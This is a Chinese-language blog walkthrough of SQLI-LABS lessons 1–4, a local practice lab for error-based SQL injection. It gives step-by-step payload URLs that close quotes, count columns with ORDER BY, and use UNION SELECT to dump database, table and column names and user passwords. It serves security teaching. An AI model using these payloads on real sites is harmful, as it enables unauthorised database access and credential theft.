SQLI-LABS总结1-4之报错回显

前言: sql注入原理:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

现象:有具体的报错回显,且返回数据库中的数据
思路:
1.判断注入点
2.通过报错信息知道如何闭合参数
3.猜字段数及其回显
4.构造语句获取想要的信息

Less-1

1.判断注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=1  //正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  //报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1"  //正常

报错语句:
在这里插入图片描述可知用’闭合参数

2.猜字段数

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3-- #

3.判断显示位

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- #

在这里插入图片描述
可知2,3列是显示位

注:sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上。即将参数id的值设为-1。

4.构造语句注入查询想要的信息

查询基本信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,concat_ws(',',user(),version(),database()),3-- #

在这里插入图片描述

注:
user():当前用户
version():当前使用版本
database():当前数据库

爆库

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata-- #

在这里插入图片描述

注:
nformation_schema数据库:mysql的自带系统库,安装完就有,记录是当前数据库的数据库,表,列, 用户权限等信息。SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名(SCHEMA_NAME),编码类型路径等。
TABLES表:储存mysql中的表信息,包括这个表(TABLE_NAME)所属那个数据库(TABLE_SCHEMA),是基本表还是系统表,表有多少行,创建时间等。
COLUMNS表:储存mysql中的列信息,包括某张表(TABLE_NAME)的所有列(COLUMN_NAME)以及所属数据库(TABLE_SCHEMA)的信息,列的数据类型,列的编码类型,列的权限等。

爆表(security)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- #

在这里插入图片描述

爆列(users)

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- #

在这里插入图片描述

爆数据

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,username,password from users where id=3-- #

在这里插入图片描述

Less-2

1.判断注入点

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1' //报错

在这里插入图片描述
可知是数字型注入,不加即可闭合参数,剩下的和Less-1的payload一样,去掉单引号即可。

Less-3

1.判断注入点

http://127.0.0.1/sqli-labs-master/Less-3?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-3?id=1' //报错

在这里插入图片描述
可知用’)即可闭合参数,剩下的Less-1的payload一样,将’改为’)即可。

Less-4

1.判断注入点

http://127.0.0.1/sqli-labs-master/Less-4?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-4?id=1  //正常
http://127.0.0.1/sqli-labs-master/Less-4?id=1"  /报错

在这里插入图片描述
可知用")闭合参数,将Less-1的payload中的改为")即可。

发布了27 篇原创文章 · 获赞 8 · 访问量 8272

猜你喜欢

转载自blog.csdn.net/weixin_41652128/article/details/88547340